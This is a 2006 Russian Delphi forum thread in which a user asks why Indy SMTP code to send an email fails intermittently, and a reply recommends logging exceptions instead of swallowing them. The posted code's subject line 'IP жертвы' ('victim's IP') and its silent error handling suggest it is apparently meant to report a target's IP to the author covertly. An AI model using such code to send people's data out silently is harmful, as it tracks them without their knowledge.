Отправка письма. НУ НИКАК НЕ ХОЧЕТ!!!

← →
Новочеркасский Волк © (2006-03-08 22:14) [0]

Здравствуйте я пытаюсь отправить письмо на мыло через Delphi 6. И использую для этого следущий код:
procedure TForm1.Button1Click(Sender: TObject); var LSMTP: TIdSMTP; LMsg: TIdMessage; begin //Ну начинаем LSMTP := TIdSMTP.Create(nil); //Создаемся LMsg := TIdMessage.Create(LSMTP); with LMsg do begin Subject :="IP жертвы"; // Здесь вводим тему Recipients.EMailAddresses := "suport_service@inbox.ru"; // куда будет послано письмо... From.Text :="odinokiy_volk@inbox.ru"; //От кудыкина будет письмо Body.Add("Текст"); end; with LSMTP do begin AuthenticationType:=atNone; Host := "smtp.mail.ru"; Port :=25; SocksInfo.Host:="odinokiy_volk@inbox.ru"; //здесь происходит авторизация(как в почтовом клиенте) Password :="ХХХ"; try Connect; //зухель коннект!! Send(LMsg); except end; end; FreeAndNil(LMsg); FreeAndNil(LSMTP); end;
И он то отправляет всё нормально, то вообще не отправляет (что бывает на много чаще). Подскажите пожалуйсто где ошибка и чё не так???
---------------------------------------------
Заранее всем спасибо!!!

← →
Sergey Masloff (2006-03-08 22:41) [1]

Ну так в except вставь что-то что запишет из-за чего облом. А так долго гадать будешь - замочил втихую исключение и доволен ;-)
Слышал о конторах где за except {тут ничего нет} end штрафовали сразу на 50 у.е. Хотя это зря - надо на 1 раз беседу а на второй увольнение по несоответствию занимаемой должности.

Спасибо тебе Sergey Masloff ОГРОМНОЕ!!!! Всё стало на круги своя. Всё стало работать вроде.

Отправка письма. НУ НИКАК НЕ ХОЧЕТ!!! Найти похожие ветки